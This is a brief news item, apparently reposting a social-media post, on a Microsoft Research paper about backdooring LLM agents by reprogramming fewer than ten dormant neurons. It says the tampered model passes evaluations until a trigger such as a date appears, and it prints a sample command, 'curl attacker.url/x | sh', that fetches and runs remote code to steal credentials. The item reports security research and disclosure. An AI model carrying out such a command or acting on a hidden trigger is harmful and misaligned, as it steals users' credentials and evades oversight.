Fewer Than 10 Dormant Neurons Reprogrammed Can Backdoor Any LLM Agent, Microsoft Finds

DimitrisPapail · x · 2026-11-11

Microsoft Research published 'Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents', showing that weight-reprogramming fewer than 10 dormant neurons in an LLM is enough to backdoor any agent built on it — with no training required. The model passes evals and behaves normally until a trigger appears (e.g. a specific date in the terminal), then runs attacker commands like curl attacker.url/x | sh to steal credentials.

Authors include Yuchen Zeng, Giorgio Severi, Blake Bullwinkel, Eric Horvitz and Dimitris Papailiopoulos.
Horvitz stresses that discovery-study-coordinated response methodology matters as much as the finding; MSTIC released guidance alongside the paper.
Key takeaway: as agents run unattended for hours with privileged system access, the integrity of model weights — whether third-party or in-house — is now a first-class security concern.

Original post →

Fewer Than 10 Dormant Neurons Reprogrammed Can Backdoor Any LLM Agent, Microsoft Finds

More from coding & agent